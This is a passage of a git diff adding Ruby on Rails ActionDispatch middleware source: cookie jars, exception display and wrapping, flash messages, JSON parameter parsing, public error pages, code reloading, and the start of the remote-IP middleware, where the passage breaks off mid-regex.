+ def handle_options(options) #:nodoc:
+ options[:path] ||= "/"
+
+ if options[:domain] == :all
+ # if there is a provided tld length then we use it otherwise default domain regexp
+ domain_regexp = options[:tld_length] ? /([^.]+\.?){#{options[:tld_length]}}$/ : DOMAIN_REGEXP
+
+ # if host is not ip and matches domain regexp
+ # (ip confirms to domain regexp so we explicitly check for ip)
+ options[:domain] = if (@host !~ /^[\d.]+$/) && (@host =~ domain_regexp)
+ ".#{$&}"
+ end
+ elsif options[:domain].is_a? Array
+ # if host matches one of the supplied domains without a dot in front of it
+ options[:domain] = options[:domain].find {|domain| @host.include? domain.sub(/^\./, '') }
+ end
+ end
+
+ # Sets the cookie named +name+. The second argument may be the very cookie
+ # value, or a hash of options as documented above.
+ def []=(name, options)
+ if options.is_a?(Hash)
+ options.symbolize_keys!
+ value = options[:value]
+ else
+ value = options
+ options = { :value => value }
+ end
+
+ handle_options(options)
+
+ if @cookies[name.to_s] != value or options[:expires]
+ @cookies[name.to_s] = value
+ @set_cookies[name.to_s] = options
+ @delete_cookies.delete(name.to_s)
+ end
+
+ value
+ end
+
+ # Removes the cookie on the client machine by setting the value to an empty string
+ # and the expiration date in the past. Like <tt>[]=</tt>, you can pass in
+ # an options hash to delete cookies with extra data such as a <tt>:path</tt>.
+ def delete(name, options = {})
+ return unless @cookies.has_key? name.to_s
+
+ options.symbolize_keys!
+ handle_options(options)
+
+ value = @cookies.delete(name.to_s)
+ @delete_cookies[name.to_s] = options
+ value
+ end
+
+ # Whether the given cookie is to be deleted by this CookieJar.
+ # Like <tt>[]=</tt>, you can pass in an options hash to test if a
+ # deletion applies to a specific <tt>:path</tt>, <tt>:domain</tt> etc.
+ def deleted?(name, options = {})
+ options.symbolize_keys!
+ handle_options(options)
+ @delete_cookies[name.to_s] == options
+ end
+
+ # Removes all cookies on the client machine by calling <tt>delete</tt> for each cookie
+ def clear(options = {})
+ @cookies.each_key{ |k| delete(k, options) }
+ end
+
+ def write(headers)
+ @set_cookies.each { |k, v| ::Rack::Utils.set_cookie_header!(headers, k, v) if write_cookie?(v) }
+ @delete_cookies.each { |k, v| ::Rack::Utils.delete_cookie_header!(headers, k, v) }
+ end
+
+ def recycle! #:nodoc:
+ @set_cookies.clear
+ @delete_cookies.clear
+ end
+
+ mattr_accessor :always_write_cookie
+ self.always_write_cookie = false
+
+ private
+ def write_cookie?(cookie)
+ @secure || !cookie[:secure] || always_write_cookie
+ end
+ end
+
+ class PermanentCookieJar #:nodoc:
+ include ChainedCookieJars
+
+ def initialize(parent_jar, key_generator, options = {})
+ @parent_jar = parent_jar
+ @key_generator = key_generator
+ @options = options
+ end
+
+ def [](name)
+ @parent_jar[name.to_s]
+ end
+
+ def []=(name, options)
+ if options.is_a?(Hash)
+ options.symbolize_keys!
+ else
+ options = { :value => options }
+ end
+
+ options[:expires] = 20.years.from_now
+ @parent_jar[name] = options
+ end
+ end
+
+ class SignedCookieJar #:nodoc:
+ include ChainedCookieJars
+
+ def initialize(parent_jar, key_generator, options = {})
+ @parent_jar = parent_jar
+ @options = options
+ secret = key_generator.generate_key(@options[:signed_cookie_salt])
+ @verifier = ActiveSupport::MessageVerifier.new(secret)
+ end
+
+ def [](name)
+ if signed_message = @parent_jar[name]
+ verify(signed_message)
+ end
+ end
+
+ def []=(name, options)
+ if options.is_a?(Hash)
+ options.symbolize_keys!
+ options[:value] = @verifier.generate(options[:value])
+ else
+ options = { :value => @verifier.generate(options) }
+ end
+
+ raise CookieOverflow if options[:value].size > MAX_COOKIE_SIZE
+ @parent_jar[name] = options
+ end
+
+ private
+ def verify(signed_message)
+ @verifier.verify(signed_message)
+ rescue ActiveSupport::MessageVerifier::InvalidSignature
+ nil
+ end
+ end
+
+ # UpgradeLegacySignedCookieJar is used instead of SignedCookieJar if
+ # config.secret_token and config.secret_key_base are both set. It reads
+ # legacy cookies signed with the old dummy key generator and re-saves
+ # them using the new key generator to provide a smooth upgrade path.
+ class UpgradeLegacySignedCookieJar < SignedCookieJar #:nodoc:
+ include VerifyAndUpgradeLegacySignedMessage
+
+ def [](name)
+ if signed_message = @parent_jar[name]
+ verify(signed_message) || verify_and_upgrade_legacy_signed_message(name, signed_message)
+ end
+ end
+ end
+
+ class EncryptedCookieJar #:nodoc:
+ include ChainedCookieJars
+
+ def initialize(parent_jar, key_generator, options = {})
+ if ActiveSupport::LegacyKeyGenerator === key_generator
+ raise "You didn't set config.secret_key_base, which is required for this cookie jar. " +
+ "Read the upgrade documentation to learn more about this new config option."
+ end
+
+ @parent_jar = parent_jar
+ @options = options
+ secret = key_generator.generate_key(@options[:encrypted_cookie_salt])
+ sign_secret = key_generator.generate_key(@options[:encrypted_signed_cookie_salt])
+ @encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret)
+ end
+
+ def [](name)
+ if encrypted_message = @parent_jar[name]
+ decrypt_and_verify(encrypted_message)
+ end
+ end
+
+ def []=(name, options)
+ if options.is_a?(Hash)
+ options.symbolize_keys!
+ else
+ options = { :value => options }
+ end
+ options[:value] = @encryptor.encrypt_and_sign(options[:value])
+
+ raise CookieOverflow if options[:value].size > MAX_COOKIE_SIZE
+ @parent_jar[name] = options
+ end
+
+ private
+ def decrypt_and_verify(encrypted_message)
+ @encryptor.decrypt_and_verify(encrypted_message)
+ rescue ActiveSupport::MessageVerifier::InvalidSignature, ActiveSupport::MessageEncryptor::InvalidMessage
+ nil
+ end
+ end
+
+ # UpgradeLegacyEncryptedCookieJar is used by ActionDispatch::Session::CookieStore
+ # instead of EncryptedCookieJar if config.secret_token and config.secret_key_base
+ # are both set. It reads legacy cookies signed with the old dummy key generator and
+ # encrypts and re-saves them using the new key generator to provide a smooth upgrade path.
+ class UpgradeLegacyEncryptedCookieJar < EncryptedCookieJar #:nodoc:
+ include VerifyAndUpgradeLegacySignedMessage
+
+ def [](name)
+ if encrypted_or_signed_message = @parent_jar[name]
+ decrypt_and_verify(encrypted_or_signed_message) || verify_and_upgrade_legacy_signed_message(name, encrypted_or_signed_message)
+ end
+ end
+ end
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ status, headers, body = @app.call(env)
+
+ if cookie_jar = env['action_dispatch.cookies']
+ cookie_jar.write(headers)
+ if headers[HTTP_HEADER].respond_to?(:join)
+ headers[HTTP_HEADER] = headers[HTTP_HEADER].join("\n")
+ end
+ end
+
+ [status, headers, body]
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
new file mode 100644
index 0000000..64230ff
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
@@ -0,0 +1,91 @@
+require 'action_dispatch/http/request'
+require 'action_dispatch/middleware/exception_wrapper'
+require 'action_dispatch/routing/inspector'
+
+module ActionDispatch
+ # This middleware is responsible for logging exceptions and
+ # showing a debugging page in case the request is local.
+ class DebugExceptions
+ RESCUES_TEMPLATE_PATH = File.expand_path('../templates', __FILE__)
+
+ def initialize(app, routes_app = nil)
+ @app = app
+ @routes_app = routes_app
+ end
+
+ def call(env)
+ _, headers, body = response = @app.call(env)
+
+ if headers['X-Cascade'] == 'pass'
+ body.close if body.respond_to?(:close)
+ raise ActionController::RoutingError, "No route matches [#{env['REQUEST_METHOD']}] #{env['PATH_INFO'].inspect}"
+ end
+
+ response
+ rescue Exception => exception
+ raise exception if env['action_dispatch.show_exceptions'] == false
+ render_exception(env, exception)
+ end
+
+ private
+
+ def render_exception(env, exception)
+ wrapper = ExceptionWrapper.new(env, exception)
+ log_error(env, wrapper)
+
+ if env['action_dispatch.show_detailed_exceptions']
+ template = ActionView::Base.new([RESCUES_TEMPLATE_PATH],
+ :request => Request.new(env),
+ :exception => wrapper.exception,
+ :application_trace => wrapper.application_trace,
+ :framework_trace => wrapper.framework_trace,
+ :full_trace => wrapper.full_trace,
+ :routes_inspector => routes_inspector(exception),
+ :source_extract => wrapper.source_extract,
+ :line_number => wrapper.line_number,
+ :file => wrapper.file
+ )
+ file = "rescues/#{wrapper.rescue_template}"
+ body = template.render(:template => file, :layout => 'rescues/layout')
+ render(wrapper.status_code, body)
+ else
+ raise exception
+ end
+ end
+
+ def render(status, body)
+ [status, {'Content-Type' => "text/html; charset=#{Response.default_charset}", 'Content-Length' => body.bytesize.to_s}, [body]]
+ end
+
+ def log_error(env, wrapper)
+ logger = logger(env)
+ return unless logger
+
+ exception = wrapper.exception
+
+ trace = wrapper.application_trace
+ trace = wrapper.framework_trace if trace.empty?
+
+ ActiveSupport::Deprecation.silence do
+ message = "\n#{exception.class} (#{exception.message}):\n"
+ message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
+ message << " " << trace.join("\n ")
+ logger.fatal("#{message}\n\n")
+ end
+ end
+
+ def logger(env)
+ env['action_dispatch.logger'] || stderr_logger
+ end
+
+ def stderr_logger
+ @stderr_logger ||= ActiveSupport::Logger.new($stderr)
+ end
+
+ def routes_inspector(exception)
+ if @routes_app.respond_to?(:routes) && (exception.is_a?(ActionController::RoutingError) || exception.is_a?(ActionView::Template::Error))
+ ActionDispatch::Routing::RoutesInspector.new(@routes_app.routes.routes)
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
new file mode 100644
index 0000000..0a19381
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
@@ -0,0 +1,107 @@
+require 'action_controller/metal/exceptions'
+require 'active_support/core_ext/class/attribute_accessors'
+
+module ActionDispatch
+ class ExceptionWrapper
+ cattr_accessor :rescue_responses
+ @@rescue_responses = Hash.new(:internal_server_error)
+ @@rescue_responses.merge!(
+ 'ActionController::RoutingError' => :not_found,
+ 'AbstractController::ActionNotFound' => :not_found,
+ 'ActionController::MethodNotAllowed' => :method_not_allowed,
+ 'ActionController::UnknownHttpMethod' => :method_not_allowed,
+ 'ActionController::NotImplemented' => :not_implemented,
+ 'ActionController::UnknownFormat' => :not_acceptable,
+ 'ActionController::InvalidAuthenticityToken' => :unprocessable_entity,
+ 'ActionController::BadRequest' => :bad_request,
+ 'ActionController::ParameterMissing' => :bad_request
+ )
+
+ cattr_accessor :rescue_templates
+ @@rescue_templates = Hash.new('diagnostics')
+ @@rescue_templates.merge!(
+ 'ActionView::MissingTemplate' => 'missing_template',
+ 'ActionController::RoutingError' => 'routing_error',
+ 'AbstractController::ActionNotFound' => 'unknown_action',
+ 'ActionView::Template::Error' => 'template_error'
+ )
+
+ attr_reader :env, :exception, :line_number, :file
+
+ def initialize(env, exception)
+ @env = env
+ @exception = original_exception(exception)
+ end
+
+ def rescue_template
+ @@rescue_templates[@exception.class.name]
+ end
+
+ def status_code
+ self.class.status_code_for_exception(@exception.class.name)
+ end
+
+ def application_trace
+ clean_backtrace(:silent)
+ end
+
+ def framework_trace
+ clean_backtrace(:noise)
+ end
+
+ def full_trace
+ clean_backtrace(:all)
+ end
+
+ def self.status_code_for_exception(class_name)
+ Rack::Utils.status_code(@@rescue_responses[class_name])
+ end
+
+ def source_extract
+ if application_trace && trace = application_trace.first
+ file, line, _ = trace.split(":")
+ @file = file
+ @line_number = line.to_i
+ source_fragment(@file, @line_number)
+ end
+ end
+
+ private
+
+ def original_exception(exception)
+ if registered_original_exception?(exception)
+ exception.original_exception
+ else
+ exception
+ end
+ end
+
+ def registered_original_exception?(exception)
+ exception.respond_to?(:original_exception) && @@rescue_responses.has_key?(exception.original_exception.class.name)
+ end
+
+ def clean_backtrace(*args)
+ if backtrace_cleaner
+ backtrace_cleaner.clean(@exception.backtrace, *args)
+ else
+ @exception.backtrace
+ end
+ end
+
+ def backtrace_cleaner
+ @backtrace_cleaner ||= @env['action_dispatch.backtrace_cleaner']
+ end
+
+ def source_fragment(path, line)
+ return unless Rails.respond_to?(:root) && Rails.root
+ full_path = Rails.root.join(path)
+ if File.exists?(full_path)
+ File.open(full_path, "r") do |file|
+ start = [line - 3, 0].max
+ lines = file.each_line.drop(start).take(6)
+ Hash[*(start+1..(lines.count+start)).zip(lines).flatten]
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/flash.rb b/actionpack/lib/action_dispatch/middleware/flash.rb
new file mode 100644
index 0000000..7e56feb
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/flash.rb
@@ -0,0 +1,263 @@
+module ActionDispatch
+ class Request < Rack::Request
+ # Access the contents of the flash. Use <tt>flash["notice"]</tt> to
+ # read a notice you put there or <tt>flash["notice"] = "hello"</tt>
+ # to put a new one.
+ def flash
+ @env[Flash::KEY] ||= Flash::FlashHash.from_session_value(session["flash"])
+ end
+ end
+
+ # The flash provides a way to pass temporary objects between actions. Anything you place in the flash will be exposed
+ # to the very next action and then cleared out. This is a great way of doing notices and alerts, such as a create
+ # action that sets <tt>flash[:notice] = "Post successfully created"</tt> before redirecting to a display action that can
+ # then expose the flash to its template. Actually, that exposure is automatically done.
+ #
+ # class PostsController < ActionController::Base
+ # def create
+ # # save post
+ # flash[:notice] = "Post successfully created"
+ # redirect_to @post
+ # end
+ #
+ # def show
+ # # doesn't need to assign the flash notice to the template, that's done automatically
+ # end
+ # end
+ #
+ # show.html.erb
+ # <% if flash[:notice] %>
+ # <div class="notice"><%= flash[:notice] %></div>
+ # <% end %>
+ #
+ # Since the +notice+ and +alert+ keys are a common idiom, convenience accessors are available:
+ #
+ # flash.alert = "You must be logged in"
+ # flash.notice = "Post successfully created"
+ #
+ # This example just places a string in the flash, but you can put any object in there. And of course, you can put as
+ # many as you like at a time too. Just remember: They'll be gone by the time the next action has been performed.
+ #
+ # See docs on the FlashHash class for more details about the flash.
+ class Flash
+ KEY = 'action_dispatch.request.flash_hash'.freeze
+
+ class FlashNow #:nodoc:
+ attr_accessor :flash
+
+ def initialize(flash)
+ @flash = flash
+ end
+
+ def []=(k, v)
+ @flash[k] = v
+ @flash.discard(k)
+ v
+ end
+
+ def [](k)
+ @flash[k]
+ end
+
+ # Convenience accessor for <tt>flash.now[:alert]=</tt>.
+ def alert=(message)
+ self[:alert] = message
+ end
+
+ # Convenience accessor for <tt>flash.now[:notice]=</tt>.
+ def notice=(message)
+ self[:notice] = message
+ end
+ end
+
+ class FlashHash
+ include Enumerable
+
+ def self.from_session_value(value)
+ flash = case value
+ when FlashHash # Rails 3.1, 3.2
+ new(value.instance_variable_get(:@flashes), value.instance_variable_get(:@used))
+ when Hash # Rails 4.0
+ new(value['flashes'], value['discard'])
+ else
+ new
+ end
+
+ flash.tap(&:sweep)
+ end
+
+ def to_session_value
+ return nil if empty?
+ {'discard' => @discard.to_a, 'flashes' => @flashes}
+ end
+
+ def initialize(flashes = {}, discard = []) #:nodoc:
+ @discard = Set.new(discard)
+ @flashes = flashes
+ @now = nil
+ end
+
+ def initialize_copy(other)
+ if other.now_is_loaded?
+ @now = other.now.dup
+ @now.flash = self
+ end
+ super
+ end
+
+ def []=(k, v)
+ @discard.delete k
+ @flashes[k] = v
+ end
+
+ def [](k)
+ @flashes[k]
+ end
+
+ def update(h) #:nodoc:
+ @discard.subtract h.keys
+ @flashes.update h
+ self
+ end
+
+ def keys
+ @flashes.keys
+ end
+
+ def key?(name)
+ @flashes.key? name
+ end
+
+ def delete(key)
+ @discard.delete key
+ @flashes.delete key
+ self
+ end
+
+ def to_hash
+ @flashes.dup
+ end
+
+ def empty?
+ @flashes.empty?
+ end
+
+ def clear
+ @discard.clear
+ @flashes.clear
+ end
+
+ def each(&block)
+ @flashes.each(&block)
+ end
+
+ alias :merge! :update
+
+ def replace(h) #:nodoc:
+ @discard.clear
+ @flashes.replace h
+ self
+ end
+
+ # Sets a flash that will not be available to the next action, only to the current.
+ #
+ # flash.now[:message] = "Hello current action"
+ #
+ # This method enables you to use the flash as a central messaging system in your app.
+ # When you need to pass an object to the next action, you use the standard flash assign (<tt>[]=</tt>).
+ # When you need to pass an object to the current action, you use <tt>now</tt>, and your object will
+ # vanish when the current action is done.
+ #
+ # Entries set via <tt>now</tt> are accessed the same way as standard entries: <tt>flash['my-key']</tt>.
+ #
+ # Also, brings two convenience accessors:
+ #
+ # flash.now.alert = "Beware now!"
+ # # Equivalent to flash.now[:alert] = "Beware now!"
+ #
+ # flash.now.notice = "Good luck now!"
+ # # Equivalent to flash.now[:notice] = "Good luck now!"
+ def now
+ @now ||= FlashNow.new(self)
+ end
+
+ # Keeps either the entire current flash or a specific flash entry available for the next action:
+ #
+ # flash.keep # keeps the entire flash
+ # flash.keep(:notice) # keeps only the "notice" entry, the rest of the flash is discarded
+ def keep(k = nil)
+ @discard.subtract Array(k || keys)
+ k ? self[k] : self
+ end
+
+ # Marks the entire flash or a single flash entry to be discarded by the end of the current action:
+ #
+ # flash.discard # discard the entire flash at the end of the current action
+ # flash.discard(:warning) # discard only the "warning" entry at the end of the current action
+ def discard(k = nil)
+ @discard.merge Array(k || keys)
+ k ? self[k] : self
+ end
+
+ # Mark for removal entries that were kept, and delete unkept ones.
+ #
+ # This method is called automatically by filters, so you generally don't need to care about it.
+ def sweep #:nodoc:
+ @discard.each { |k| @flashes.delete k }
+ @discard.replace @flashes.keys
+ end
+
+ # Convenience accessor for <tt>flash[:alert]</tt>.
+ def alert
+ self[:alert]
+ end
+
+ # Convenience accessor for <tt>flash[:alert]=</tt>.
+ def alert=(message)
+ self[:alert] = message
+ end
+
+ # Convenience accessor for <tt>flash[:notice]</tt>.
+ def notice
+ self[:notice]
+ end
+
+ # Convenience accessor for <tt>flash[:notice]=</tt>.
+ def notice=(message)
+ self[:notice] = message
+ end
+
+ protected
+ def now_is_loaded?
+ @now
+ end
+ end
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ @app.call(env)
+ ensure
+ session = Request::Session.find(env) || {}
+ flash_hash = env[KEY]
+
+ if flash_hash
+ if !flash_hash.empty? || session.key?('flash')
+ session["flash"] = flash_hash.to_session_value
+ new_hash = flash_hash.dup
+ else
+ new_hash = flash_hash
+ end
+
+ env[KEY] = new_hash
+ end
+
+ if (!session.respond_to?(:loaded?) || session.loaded?) && # (reset_session uses {}, which doesn't implement #loaded?)
+ session.key?('flash') && session['flash'].nil?
+ session.delete('flash')
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/params_parser.rb b/actionpack/lib/action_dispatch/middleware/params_parser.rb
new file mode 100644
index 0000000..0fa1e9b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/params_parser.rb
@@ -0,0 +1,60 @@
+require 'active_support/core_ext/hash/conversions'
+require 'action_dispatch/http/request'
+require 'active_support/core_ext/hash/indifferent_access'
+
+module ActionDispatch
+ class ParamsParser
+ class ParseError < StandardError
+ attr_reader :original_exception
+
+ def initialize(message, original_exception)
+ super(message)
+ @original_exception = original_exception
+ end
+ end
+
+ DEFAULT_PARSERS = { Mime::JSON => :json }
+
+ def initialize(app, parsers = {})
+ @app, @parsers = app, DEFAULT_PARSERS.merge(parsers)
+ end
+
+ def call(env)
+ if params = parse_formatted_parameters(env)
+ env["action_dispatch.request.request_parameters"] = params
+ end
+
+ @app.call(env)
+ end
+
+ private
+ def parse_formatted_parameters(env)
+ request = Request.new(env)
+
+ return false if request.content_length.zero?
+
+ strategy = @parsers[request.content_mime_type]
+
+ return false unless strategy
+
+ case strategy
+ when Proc
+ strategy.call(request.raw_post)
+ when :json
+ data = ActiveSupport::JSON.decode(request.body)
+ data = {:_json => data} unless data.is_a?(Hash)
+ request.deep_munge(data).with_indifferent_access
+ else
+ false
+ end
+ rescue Exception => e # JSON or Ruby code block errors
+ logger(env).debug "Error occurred while parsing request parameters.\nContents:\n\n#{request.raw_post}"
+
+ raise ParseError.new(e.message, e)
+ end
+
+ def logger(env)
+ env['action_dispatch.logger'] || ActiveSupport::Logger.new($stderr)
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/public_exceptions.rb b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
new file mode 100644
index 0000000..53bedaa
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
@@ -0,0 +1,47 @@
+module ActionDispatch
+ class PublicExceptions
+ attr_accessor :public_path
+
+ def initialize(public_path)
+ @public_path = public_path
+ end
+
+ def call(env)
+ exception = env["action_dispatch.exception"]
+ status = env["PATH_INFO"][1..-1]
+ request = ActionDispatch::Request.new(env)
+ content_type = request.formats.first
+ body = { :status => status, :error => exception.message }
+
+ render(status, content_type, body)
+ end
+
+ private
+
+ def render(status, content_type, body)
+ format = content_type && "to_#{content_type.to_sym}"
+ if format && body.respond_to?(format)
+ render_format(status, content_type, body.public_send(format))
+ else
+ render_html(status)
+ end
+ end
+
+ def render_format(status, content_type, body)
+ [status, {'Content-Type' => "#{content_type}; charset=#{ActionDispatch::Response.default_charset}",
+ 'Content-Length' => body.bytesize.to_s}, [body]]
+ end
+
+ def render_html(status)
+ found = false
+ path = "#{public_path}/#{status}.#{I18n.locale}.html" if I18n.locale
+ path = "#{public_path}/#{status}.html" unless path && (found = File.exist?(path))
+
+ if found || File.exist?(path)
+ render_format(status, 'text/html', File.read(path))
+ else
+ [404, { "X-Cascade" => "pass" }, []]
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/reloader.rb b/actionpack/lib/action_dispatch/middleware/reloader.rb
new file mode 100644
index 0000000..2f6968e
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/reloader.rb
@@ -0,0 +1,89 @@
+module ActionDispatch
+ # ActionDispatch::Reloader provides prepare and cleanup callbacks,
+ # intended to assist with code reloading during development.
+ #
+ # Prepare callbacks are run before each request, and cleanup callbacks
+ # after each request. In this respect they are analogs of ActionDispatch::Callback's
+ # before and after callbacks. However, cleanup callbacks are not called until the
+ # request is fully complete -- that is, after #close has been called on
+ # the response body. This is important for streaming responses such as the
+ # following:
+ #
+ # self.response_body = lambda { |response, output|
+ # # code here which refers to application models
+ # }
+ #
+ # Cleanup callbacks will not be called until after the response_body lambda
+ # is evaluated, ensuring that it can refer to application models and other
+ # classes before they are unloaded.
+ #
+ # By default, ActionDispatch::Reloader is included in the middleware stack
+ # only in the development environment; specifically, when +config.cache_classes+
+ # is false. Callbacks may be registered even when it is not included in the
+ # middleware stack, but are executed only when <tt>ActionDispatch::Reloader.prepare!</tt>
+ # or <tt>ActionDispatch::Reloader.cleanup!</tt> are called manually.
+ #
+ class Reloader
+ include ActiveSupport::Callbacks
+
+ define_callbacks :prepare, :scope => :name
+ define_callbacks :cleanup, :scope => :name
+
+ # Add a prepare callback. Prepare callbacks are run before each request, prior
+ # to ActionDispatch::Callback's before callbacks.
+ def self.to_prepare(*args, &block)
+ set_callback(:prepare, *args, &block)
+ end
+
+ # Add a cleanup callback. Cleanup callbacks are run after each request is
+ # complete (after #close is called on the response body).
+ def self.to_cleanup(*args, &block)
+ set_callback(:cleanup, *args, &block)
+ end
+
+ # Execute all prepare callbacks.
+ def self.prepare!
+ new(nil).prepare!
+ end
+
+ # Execute all cleanup callbacks.
+ def self.cleanup!
+ new(nil).cleanup!
+ end
+
+ def initialize(app, condition=nil)
+ @app = app
+ @condition = condition || lambda { true }
+ @validated = true
+ end
+
+ def call(env)
+ @validated = @condition.call
+ prepare!
+
+ response = @app.call(env)
+ response[2] = ::Rack::BodyProxy.new(response[2]) { cleanup! }
+
+ response
+ rescue Exception
+ cleanup!
+ raise
+ end
+
+ def prepare! #:nodoc:
+ run_callbacks :prepare if validated?
+ end
+
+ def cleanup! #:nodoc:
+ run_callbacks :cleanup if validated?
+ ensure
+ @validated = true
+ end
+
+ private
+
+ def validated? #:nodoc:
+ @validated
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/remote_ip.rb b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
new file mode 100644
index 0000000..8879291
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
@@ -0,0 +1,187 @@
+module ActionDispatch
+ # This middleware calculates the IP address of the remote client that is
+ # making the request. It does this by checking various headers that could
+ # contain the address, and then picking the last-set address that is not
+ # on the list of trusted IPs. This follows the precedent set by e.g.
+ # {the Tomcat server}[https://issues.apache.org/bugzilla/show_bug.cgi?id=50453],
+ # with {reasoning explained at length}[http://blog.gingerlime.com/2012/rails-ip-spoofing-vulnerabilities-and-protection]
+ # by @gingerlime. A more detailed explanation of the algorithm is given
+ # at GetIp#calculate_ip.
+ #
+ # Some Rack servers concatenate repeated headers, like {HTTP RFC 2616}[http://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.2]
+ # requires. Some Rack servers simply drop preceding headers, and only report
+ # the value that was {given in the last header}[http://andre.arko.net/2011/12/26/repeated-headers-and-ruby-web-servers].
+ # If you are behind multiple proxy servers (like Nginx to HAProxy to Unicorn)
+ # then you should test your Rack server to make sure your data is good.
+ #
+ # IF YOU DON'T USE A PROXY, THIS MAKES YOU VULNERABLE TO IP SPOOFING.
+ # This middleware assumes that there is at least one proxy sitting around
+ # and setting headers with the client's remote IP address. If you don't use
+ # a proxy, because you are hosted on e.g. Heroku without SSL, any client can
+ # claim to have any IP address by setting the X-Forwarded-For header. If you
+ # care about that, then you need to explicitly drop or ignore those headers
+ # sometime before this middleware runs.
+ class RemoteIp
+ class IpSpoofAttackError < StandardError; end
+
+ # The default trusted IPs list simply includes IP addresses that are
+ # guaranteed by the IP specification to be private addresses. Those will
+ # not be the ultimate client IP in production, and so are discarded. See
+ # http://en.wikipedia.org/wiki/Private_network for details.
+ TRUSTED_PROXIES = %r{
+ ^127\.0\.0\.1$ | # localhost IPv4
+ ^::1$ | # localhost IPv6
+ ^fc00: | # private IPv6 range fc00
+ ^10\. | # private IPv4 range 10.x.x.x
+ ^172\.(1[6-9]|2[0-9]|3[0-1])\.| # private IPv4 range 172.16.0.0 .. 172.31.255.255
+ ^192\.168\. # private IPv4 range 192.168.x.x
+ }x
+
+ attr_reader :check_ip, :proxies
+
+ # Create a new +RemoteIp+ middleware instance.
+ #
+ # The +check_ip_spoofing+ option is on by default. When on, an exception
+ # is raised if it looks like the client is trying to lie about its own IP
+ # address. It makes sense to turn off this check on sites aimed at non-IP
+ # clients (like WAP devices), or behind proxies that set headers in an
+ # incorrect or confusing way (like AWS ELB).
+ #
+ # The +custom_trusted+ argument can take a regex, which will be used
+ # instead of +TRUSTED_PROXIES+, or a string, which will be used in addition
+ # to +TRUSTED_PROXIES+. Any proxy setup will put the value you want in the
+ # middle (or at the beginning) of the X-Forwarded-For list, with your proxy
+ # servers after it. If your proxies aren't removed, pass them in via the
+ # +custom_trusted+ parameter. That way, the middleware will ignore those
+ # IP addresses, and return the one that you want.
+ def initialize(app, check_ip_spoofing = true, custom_proxies = nil)
+ @app = app
+ @check_ip = check_ip_spoofing
+ @proxies = case custom_proxies
+ when Regexp
+ custom_proxies
+ when nil
+ TRUSTED_PROXIES
+ else
+ Regexp.union(TRUSTED_PROXIES, custom_proxies)
+ end
+ end
+
+ # Since the IP address may not be needed, we store the object here
+ # without calculating the IP to keep from slowing down the majority of
+ # requests. For those requests that do need to know the IP, the
+ # GetIp#calculate_ip method will calculate the memoized client IP address.
+ def call(env)
+ env["action_dispatch.remote_ip"] = GetIp.new(env, self)
+ @app.call(env)
+ end
+
+ # The GetIp class exists as a way to defer processing of the request data
+ # into an actual IP address. If the ActionDispatch::Request#remote_ip method
+ # is called, this class will calculate the value and then memoize it.
+ class GetIp
+
+ # This constant contains a regular expression that validates every known
+ # form of IP v4 and v6 address, with or without abbreviations, adapted
+ # from {this gist}[https://gist.github.com/gazay/1289635].
+ VALID_IP = %r{
+ (^(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[0-9]{1,2})(\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[0-9]{1,2})){3}$) | # ip v4
+ (^(
+ (([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}) | # ip v6 not abbreviated
+ (([0-9A-Fa-f]{1,4}:){6}:[0-9A-Fa-f]{1,4}) | # ip v6 with double colon in the end
+ (([0-9A-Fa-f]{1,4}:){5}:([0-9A-Fa-f]{1,4}:)?[0-9A-Fa-f]{1,4}) | # - ip addresses v6
+ (([0-9A-Fa-f]{1,4}:){4}:([0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4}) | # - with
+ (([0-9A-Fa-f]{1,4}:){3}:([0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4}) | # - double colon
+ (([0-9A-Fa-f]{1,4}:){2}:([0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4}) | # - in the middle
+ (([0-9A-Fa-f]{1,4}:){6} ((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3} (\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
+ (([0-9A-Fa-f]{1,4}:){1,5}:((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
+ (([0-9A-Fa-f]{1,4}:){1}:([0-9A-Fa-f]{1,4}:){0,4}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
